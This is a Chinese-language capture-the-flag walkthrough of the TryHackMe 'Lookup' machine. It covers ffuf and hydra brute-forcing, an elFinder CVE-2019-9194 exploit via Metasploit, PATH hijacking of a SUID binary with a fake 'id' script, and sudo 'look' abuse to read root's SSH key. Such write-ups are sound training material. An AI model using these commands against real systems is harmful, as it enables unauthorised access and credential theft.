等待加载中...

THM靶场Lookup

链接:https://tryhackme.com/r/room/lookup

主机:Linux

难度:easy

总体思路:端口&目录扫描->暴力破解->CVE-2019-9194->路径劫持->sudo提权

端口&目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
nmap -sSVC lookup.thm

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-07 23:35 CST
Nmap scan report for localhost
Host is up (0.39s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://lookup.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

dirsearch -u lookup.thm

[23:50:13] 403 - 275B - /.ht_wsr.txt
[23:50:13] 403 - 275B - /.htaccess.bak1
[23:50:14] 403 - 275B - /.htaccess.orig
[23:50:14] 403 - 275B - /.htaccess.save
[23:50:14] 403 - 275B - /.htaccess_orig
[23:50:14] 403 - 275B - /.htaccess.sample
[23:50:14] 403 - 275B - /.htaccess_extra
[23:50:14] 403 - 275B - /.htaccessOLD
[23:50:14] 403 - 275B - /.htaccess_sc
[23:50:14] 403 - 275B - /.html
[23:50:14] 403 - 275B - /.htaccessOLD2
[23:50:14] 403 - 275B - /.htpasswds
[23:50:14] 403 - 275B - /.htm
[23:50:14] 403 - 275B - /.htpasswd_test
[23:50:14] 403 - 275B - /.htaccessBAK
[23:50:14] 403 - 275B - /.httr-oauth
[23:50:20] 403 - 275B - /.php
[23:52:23] 200 - 1B - /login.php
[23:53:10] 403 - 275B - /server-status/
[23:53:10] 403 - 275B - /server-status

目前来看就一个登录界面,先进去查看

先随机尝试几个用户名和密码

暴力破解

发现他的报错信息不一样,可以利用这一点,先爆破出存在的用户名

1
ffuf -u 'http://lookup.thm/login.php' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=FUZZ&password=admin' -w /usr/share/seclists/Usernames/Names/names.txt -mc all -ic -fs 74 -t 100

有admin和jose两个用户,再使用ffuf爆破其密码

1
ffuf -u 'http://lookup.thm/login.php' -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'username=jose&password=FUZZ' -w /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt -mc all -ic -fs 62 -t 100

获得jose的密码为password123

登录后发现其将我们跳转到了files.lookup.thm,这里需要将域名加入hosts后才能访问

进来后界面长这样↓

CVE-2019-9194

查阅功能点后,发现了elFinder版本为2.1.47,在exploitDB上搜索其漏洞

发现可以直接使用msf进行漏洞利用

选择模块4,设置好参数后exploit

新建一个shell,将其转发到本地,并优化界面

1
python3 -c "import pty;pty.spawn('/bin/bash')"

查看本机存在的用户

1
2
cat /etc/passwd
ls /home

发现存在think用户

查看当前用户能够运行的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
find / -perm -u=s 2>/dev/null

/snap/snapd/19457/usr/lib/snapd/snap-confine
...
/usr/sbin/pwm
/usr/bin/at
/usr/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/umount

其中/usr/sbin/pwm较为可疑,运行它

提示说/home/www-data/.passwords并不存在,因为我们知道,home目录下只有think用户,且其中有.passwords文件

路径劫持

这里尝试使用路径劫持,将id命令的输出修改为think,然后将其路径修改到tmp目录下

1
2
3
4
5
cd /tmp
echo -e '#!/bin/bash\necho "uid=33(think) gid=33(www-data) groups=33(www-data)"' > /tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
echo $PATH

可以看到执行完毕后,使用id命令输出的即为think用户

再次运行pwm,输出了许多行密码,保存下来用于爆破think用户密码

1
hydra -l think -P pass.txt lookup.thm ssh

密码为josemario.AKA(think)

登录到SSH

查看当前用户可执行权限

sudo提权

能够以任何用户执行look命令,在GTFOBins上查看提权命令

这里可以选择直接读root.txt,也可以选择读id_rsa

使用id_rsa登录到root用户